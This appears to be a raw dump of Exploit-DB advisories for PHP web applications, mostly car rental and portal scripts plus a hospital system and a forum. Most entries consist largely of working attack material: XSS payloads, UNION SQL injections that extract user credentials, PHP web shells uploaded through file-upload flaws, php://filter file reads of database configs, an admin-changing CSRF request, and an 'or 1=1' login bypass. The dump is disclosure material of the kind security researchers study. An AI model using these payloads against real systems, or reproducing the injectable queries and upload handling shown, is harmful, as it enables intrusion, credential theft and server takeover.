deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35025
Description: Car Portal 2.0 - 'car_make' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-29
Author: Underground Stockholm

Exploit:
source: https://www.securityfocus.com/bid/45092/info

Car Portal is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Car Portal 2.0 is vulnerable; other versions may also be affected. 

<!--
TITLE: Car Portal v2.0 "car_make" Cross-Site Scripting Vulnerability
PRODUCT: Car Portal v2.0
PRODUCT URL: http://www.netartmedia.net/carsportal/
RESEARCHERS: underground-stockholm.com
RESEARCHERS URL: http://underground-stockholm.com/
-->
<html>
<body>
<form method="post" action="http://[host]/[path]/index.php">
<input type="hidden" name="ProceedSearch" value="1">
<input type="hidden" name="mod" value="cars_search">
<input type="hidden" name="lang" value="en">
<input type="hidden" name="Step" value="1">
<input type="hidden" name="car_make" value="<script>alert(1337)</script>">
<input type="hidden" name="car_model" value="All">
<input type="hidden" name="car_year_from" value="1983">
<input type="hidden" name="car_year_to" value="1987">
<input type="hidden" name="zip" value="">
<input type="hidden" name="order_by" value="price">
<input type="submit">
</form>
</body>
</html>
Exploit-DB #49056
Description: Car Rental Management System 1.0 - 'car_id' Sql Injection
Type: webapps
Platform: php
Date: 2020-11-16
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Car Rental Management System 1.0 - 'car_id' Sql Injection
# Date: 2020-11.13
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Apache2 - Windows 10

Vulnerable param: car_id
-------------------------------------------------------------------------
GET /car_rental/booking.php?car_id=1+UNION+ALL+SELECT+1,@@VERSION,3,4,5,6,7,8,9,10# HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source Code:

booking.php:
--------------------------------------------------------------------
<?php
$qry = $conn->query("SELECT * FROM cars where id= ".$_GET['car_id']);
foreach($qry->fetch_array() as $k => $val){
                $$k=$val;
}

Vulnerable param: id
-------------------------------------------------------------------------
GET /car_rental/index.php?page=view_car&id=-3+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10+from+users# HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


Source Code:

view_car.php:
--------------------------------------------------------------------
<?php
if(isset($_GET['id'])){
if(isset($_GET['id'])){
$qry = $conn->query("SELECT * FROM cars where id= ".$_GET['id']);
Exploit-DB #48931
Description: Car Rental Management System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-10-23
Author: Jyotsna Adhana

Exploit:
# Exploit Title: Car Rental Management System 1.0 - Arbitrary File Upload
# Date: 22-10-2020
# Exploit Author: Jyotsna Adhana and Saurav Shukla
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4


#Vulnerable Page: http://localhost/carRental/admin/index.php?page=manage_car

#Exploit
	Fill details
	Create php shell code with below script
		<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
	Click on Browse
	Select php file
	Click Save
	Access below URL:
		http://localhost/carRental/admin/assets/uploads/cars_img/[PII_REDACTED]_backdoor.php?cmd=sysinfo
	add system commands after cmd to execute it.
Exploit-DB #49055
Description: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)
Type: webapps
Platform: php
Date: 2020-11-16
Author: Mehmet Kelepçe

Exploit:
# Exploit Title: Car Rental Management System 1.0 - Remote Code Execution (Authenticated)
# Date: 2020-11.13
# Exploit Author: Mehmet Kelepçe / Gais Cyber Security
# Author ID: 8763
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Apache2 - Windows 10

Vulnerable param: img
-------------------------------------------------------------------------
POST /car_rental/admin/ajax.php?action=save_settings HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: */*
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Length: 777
Origin: http://localhost
Connection: close
Referer: http://localhost/car_rental/admin/index.php?page=site_settings
Cookie: setting=k; PHPSESSID=tsimparo2crmq2ibibnla5vean

----------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Disposition: form-data; name="name"

Car Rental Management System
----------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Disposition: form-data; name="email"

info@sample.comm
----------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Disposition: form-data; name="contact"

+6948 8542 623
----------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Disposition: form-data; name="about"

content

----------------------------[PII_REDACTED][PII_REDACTED]297969444
Content-Disposition: form-data; name="img"; filename="k.php"
Content-Type: application/octet-stream

<?php echo passthru($_GET['k']);?>
----------------------------[PII_REDACTED][PII_REDACTED]297969444--


Source Code:

admin\admin_class.php:
--------------------------------------------------------------------
                if($_FILES['img']['tmp_name'] != ''){
                                                                                                                $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
                                                                                                                $move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
                                                                                                                $data .= ", avatar = '$fname' ";

                                                }

--------------------------------------------------------------------

POC:
http://{site]/admin/assets/uploads/{FILE}.php?k=whoami
Exploit-DB #49177
Description: Car Rental Management System 1.0 - SQL Injection / Local File include
Type: webapps
Platform: php
Date: 2020-12-02
Author: Mosaaed

Exploit:
# Exploit Title: Car Rental Management System 1.0 - SQL Injection / Local File include
# Date: 22-10-2020
# Exploit Author: Mosaaed 
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: parrot + Apache/2.4.46 (Debian)

SQL Injection
#Vulnerable Page: http://localhost/carRental/index.php?page=view_car&id=4

#POC 1: 
http://localhost/carRental/index.php?page=view_car&id=-4+union+select+1,2,3,4,5,6,concat(username,0x3a,password),8,9,10+from+users--

LFI
#Vulnerable Page1: http://localhost/carRental/index.php?page=about
#Vulnerable Page2:http://localhost/carRental/admin/index.php?page=movement

#POC 1:

http://localhost/carRental/index.php?page=php://filter/convert.base64-encode/resource=home

#POC 2:http://localhost/carRental/admin/index.php?page=php://filter/convert.base64-encode/resource=db_connect

note POC 2 reading database information

#example : 
curl -s -i POST http://localhost/carRental/admin/index.php?page=php://filter/convert.base64-encode/resource=db_connect | grep view-panel -A 1

#result

<main id="view-panel" >
        	PD9waHAgDQoNCiRjb25uPSBuZXcgbXlzcWxpKCdsb2NhbGhvc3QnLCdyb290JywncGFzc3dvcmQnLCdjYXJfcmVudGFsX2RiJylvciBkaWUoIkNvdWxkIG5vdCBjb25uZWN0IHRvIG15c3FsIi5teXNxbGlfZXJyb3IoJGNvbikpOw0K

#proof of concept picture

https://ibb.co/8Dd7d9G
Exploit-DB #49520
Description: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
Type: webapps
Platform: php
Date: 2021-02-03
Author: Jannick Tiger

Exploit:
# Exploit Title: Car Rental Project 2.0 - Arbitrary File Upload to Remote Code Execution
# Date: 3/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version:  V 2.0
# Tested on Windows 10, XAMPP

POST /carrental/admin/changeimage1.php?imgid=4 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0)
Gecko/20100101 Firefox/85.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data;
boundary=--------------------------[PII_REDACTED][PII_REDACTED]101061568
Content-Length: 369
Origin: http://localhost
Connection: close
Referer: http://localhost/carrental/admin/changeimage1.php?imgid=4
Cookie: PHPSESSID=te82lj6tvep7afns0qm890393e
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]101061568
Content-Disposition: form-data; name="img1"; filename="1.php"
Content-Type: application/octet-stream

<?php @eval($_POST[pp]);?>
----------------------------[PII_REDACTED][PII_REDACTED]101061568
Content-Disposition: form-data; name="update"


----------------------------[PII_REDACTED][PII_REDACTED]101061568--


# Uploaded Malicious File can  be Found in :
carrental\admin\img\vehicleimages\1.php
# go to http://localhost/carrental/admin/img/vehicleimages/1.php, Execute malicious code via post value phpinfo();
Exploit-DB #51567
Description: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)
Type: webapps
Platform: php
Date: 2023-07-04
Author: CraCkEr

Exploit:
# Exploit Title: Car Rental Script 1.8 - Stored Cross-site scripting (XSS)
# Date: 30/07/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/car-rental-php-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

Release Notes:

Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Stored XSS
-----------------------------------------------
POST /EventBookingCalendar/load.php?controller=GzFront&action=checkout&cid=1&layout=calendar&show_header=T&local=3 HTTP/1.1

payment_method=pay_arrival&event_prices%5B51%5D=1&event_prices%5B50%5D=1&event_prices%5B49%5D=1&title=mr&male=male&first_name=[XSS Payload]&second_name=[XSS Payload&phone=[XSS Payload&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload&address_2=xxx&city=xxx&state=xxx&zip=xxx&country=[XSS Payload&additional=xxx&captcha=qqxshj&terms=1&event_id=17&create_booking=1
-----------------------------------------------

POST parameter 'first_name' is vulnerable to XSS
POST parameter 'second_name' is vulnerable to XSS
POST parameter 'phone' is vulnerable to XSS
POST parameter 'address_1' is vulnerable to XSS
POST parameter 'country' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Select any [Pickup/Return Location] & Choose any [Time] & [Rental Age] - Then Click on [Search for rent a car] - Select Any Car
2. Inject your [XSS Payload] in "First Name"
3. Inject your [XSS Payload] in "Last Name"
4. Inject your [XSS Payload] in "Phone"
5. Inject your [XSS Payload] in "Address Line 1"
6. Inject your [XSS Payload] in "Country"
7. Accept with terms & Press [Booking]
XSS Fired on Local User Browser.
8. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)
XSS Will Fire and Executed on his Browser
9. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)
XSS Will Fire and Executed on his Browser
Exploit-DB #43308
Description: Car Rental Script 2.0.4 - 'val' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Car Rental Script 2.0.4 - SQL Injection
# Dork: N/A
# Date: 10.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/car-rental-script/
# Version: 2.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/countrycode1.php?val=[SQL]
#  
# -1'++/*!07777UNION*/+/*!07777SELECT*/+@@version--+-
# 
#  
# # # # #
Exploit-DB #41595
Description: Car Workshop System - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-13
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Car Workshop System - SQL Injection
# Google Dork: N/A
# Date: 13.03.2017
# Vendor Homepage: http://prosoft-apps.com/
# Software: https://codecanyon.net/item/car-workshop-system/19562074
# Demo: http://workshop.prosoft-apps.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL]
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+-
# 
# In addition.
# Technician User, There are security vulnerabilities.
# purchase_order/deletePO?id=
# technician_services/tech_opened_services_view?job_id=
# technician_services/tech_drew_out_inventory_services_view?job_id=
# technician_services/tech_completed_services_view?job_id=
# Etc..
# # # # #
Exploit-DB #26878
Description: Caravel CMS 3.0 Beta 1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15939/info

Caravel CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/Introduction?&CB=CB1&fileDN=[XSS]

http://www.example.com/Community/News?&CB=CB1&fileDN=[XSS]

http://www.example.com/Community/News?&CB=CB1&fileDN=mnF%3
Djune2005.html%2CmnOD%3DNewsletter%2
CmnOD%3DMy%20Documents%2Cdc%3Demanuel
%2Cdc%3Dmennonite%2Cdc%3Dnet&folderv
iewer_attrs=[XSS]

http://www.example.com/Introduction?&CB=CB1&fileDN=mnF%3D2.
3.html%2CmnOD%3DNews%2CmnOD%3DMy%20D
ocuments%2Cdc%3Demanuel%2Cdc%3Dmenno
nite%2Cdc%3Dnet&folderviewer_attrs=[XSS]
Exploit-DB #52043
Description: Carbon Forum 5.9.0 - Stored XSS
Type: webapps
Platform: php
Date: 2024-06-14
Author: Chokri Hammedi

Exploit:
# Exploit Title: Persistent XSS in Carbon Forum 5.9.0 (Stored)
# Date: 06/12/2024
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://www.94cb.com/
# Software Link: https://github.com/lincanbin/Carbon-Forum
# Version: 5.9.0
# Tested on: Windows XP
# CVE: N/A

## Vulnerability Details

A persistent (stored) XSS vulnerability was discovered in Carbon Forum
version 5.9.0. The vulnerability allows an attacker to inject malicious
JavaScript code into the Forum Name field under the admin settings. This
payload is stored on the server and executed in the browser of any user who
visits the forum, leading to potential session hijacking, data theft, and
other malicious activities.

## Steps to Reproduce

1. Login as Admin: Access the Carbon Forum with admin privileges.
2. Navigate to Settings: Go to the '/dashboard' and select the Basic
section.
3. Enter Payload : Input the following payload in the Forum Name field:

    <script>alert('XSS');</script>

4. Save Settings: Save the changes.
5. The xss payload will triggers
Exploit-DB #45713
Description: Card Payment 1.0 - Cross-Site Request Forgery (Update Admin)
Type: webapps
Platform: php
Date: 2018-10-29
Author: Ihsan Sencan

Exploit:
# Exploit Title: Card Payment 1.0 - Cross-Site Request Forgery (Update Admin)
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/tubigangarden.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/admin/mod_users/controller.php?action=edit
# 
POST /[PATH]/admin/mod_users/controller.php?action=edit HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
USERID=1&UNAME=Anonymous&USERNAME=admin&deptid=&UPASS=Efe&ROLE=Administrator&deptid=&PHONE=912856478&save=
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 20:16:05 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 57
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Exploit-DB #36144
Description: Card sharj 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2011-09-19
Author: Net.Edit0r

Exploit:
source: https://www.securityfocus.com/bid/49677/info

Card sharj is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Card sharj 1.01 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?cardId=[sql inject]

http://www.example.com/index.php?action=[sql inject]

http://www.example.com/Card-sharj-scripts/admin/index.php

Username & Password: admin' or '1=1
Exploit-DB #50165
Description: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
Type: webapps
Platform: php
Date: 2021-07-29
Author: securityforeveryone.com

Exploit:
# Exploit Title: Care2x Integrated Hospital Info System 2.7 - 'Multiple' SQL Injection
# Date: 29.07.2021
# Exploit Author: securityforeveryone.com
# Vendor Homepage: https://care2x.org
# Software Link: https://sourceforge.net/projects/care2002/
# Version: =< 2.7 Alpha
# Tested on: Linux/Windows
# Researchers : Security For Everyone Team - https://securityforeveryone.com

DESCRIPTION

In Care2x < 2.7 Alpha, remote attackers can gain access to the database by exploiting a SQL Injection vulnerability via the "pday", "pmonth", "pyear" parameters.

The vulnerability is found in the "pday", "pmonth", "pyear" parameters in GET request sent to page "nursing-station.php".

Example:

/nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=123123&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= 

if an attacker exploits this vulnerability, attacker may access private data in the database system.

EXPLOITATION

# GET /nursing-station.php?sid=sid&lang=en&fwd_nr=&edit=1&retpath=quick&station=station&ward_nr=1&dept_nr=&pday=[SQL]&pmonth=[SQL]&pyear=[SQL]&checkintern= HTTP/1.1
# Host: Target

Sqlmap command: sqlmap.py -r request.txt --level 5 --risk 3 -p year --random-agent --dbs 

Payload1: pyear=2021') RLIKE (SELECT (CASE WHEN (9393=9393) THEN 2021 ELSE 0x28 END)) AND ('LkYl'='LkYl
Payload2: pyear=2021') AND (SELECT 4682 FROM (SELECT(SLEEP(5)))wZGc) AND ('dULg'='dULg
Exploit-DB #43011
Description: Career Portal 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-17
Author: 8bitsec

Exploit:
# Exploit Title: Career Portal v1.0 - SQL Injection
# Date: 2017-10-17
# Exploit Author: 8bitsec
# Vendor Homepage: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Software Link: https://codecanyon.net/item/career-portal-online-job-search-script/20767278
# Version: 1.0
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-17

Product & Service Introduction:
===============================
Career Portal is developed for creating an interactive job vacancy for candidates.

Technical Details & Description:
================================

SQL injection on [keyword] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/job

Parameter: keyword (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: keyword=s_term') AND (SELECT 8133 FROM(SELECT COUNT(*),CONCAT(0x716b6a7171,(SELECT (ELT(8133=8133,1))),0x71787a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('kRoT'='kRoT&location_name[]=

    Type: UNION query
    Title: Generic UNION query (NULL) - 25 columns
    Payload: keyword=s_term') UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b6a7171,0x[PII_REDACTED][PII_REDACTED][PII_REDACTED]674e59726f[PII_REDACTED]774f41704a507353574e4b6d5a5973,0x71787a7871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- zANd&location_name[]=

==================
8bitsec - [https://twitter.com/_8bitsec]